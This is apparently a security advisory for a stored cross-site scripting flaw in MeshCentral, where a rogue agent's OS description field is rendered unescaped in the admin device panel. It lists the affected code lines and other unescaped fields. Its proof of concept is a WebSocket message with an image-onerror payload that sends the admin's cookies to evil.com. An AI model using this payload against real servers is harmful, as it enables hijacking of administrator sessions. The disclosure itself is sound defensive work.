PT-2026-83380 · Npm · Meshcentral
Publicado
2026-08-18
·
Atualizado
2026-08-18
CVSS v3.1
8.3
Alta
| Vetor | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H |
Description
A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the
device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.
Technical Details
javascript
// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }
// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML
// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')Additional unescaped agent fields:
- node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
- volumes[].name unescaped in file browser (line 12612) -- MEDIUM
No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.
Proof of Concept
Rogue agent sends via WebSocket:
json
{
"action": "coreinfo",
"osdesc": "<img src=x onerror='fetch("https://evil.com/steal?"+document.cookie)'>",
"name": "Legit-PC"
}Payload fires when any admin views the device details panel. No click required.
Correção
Special Elements Injection
RCE
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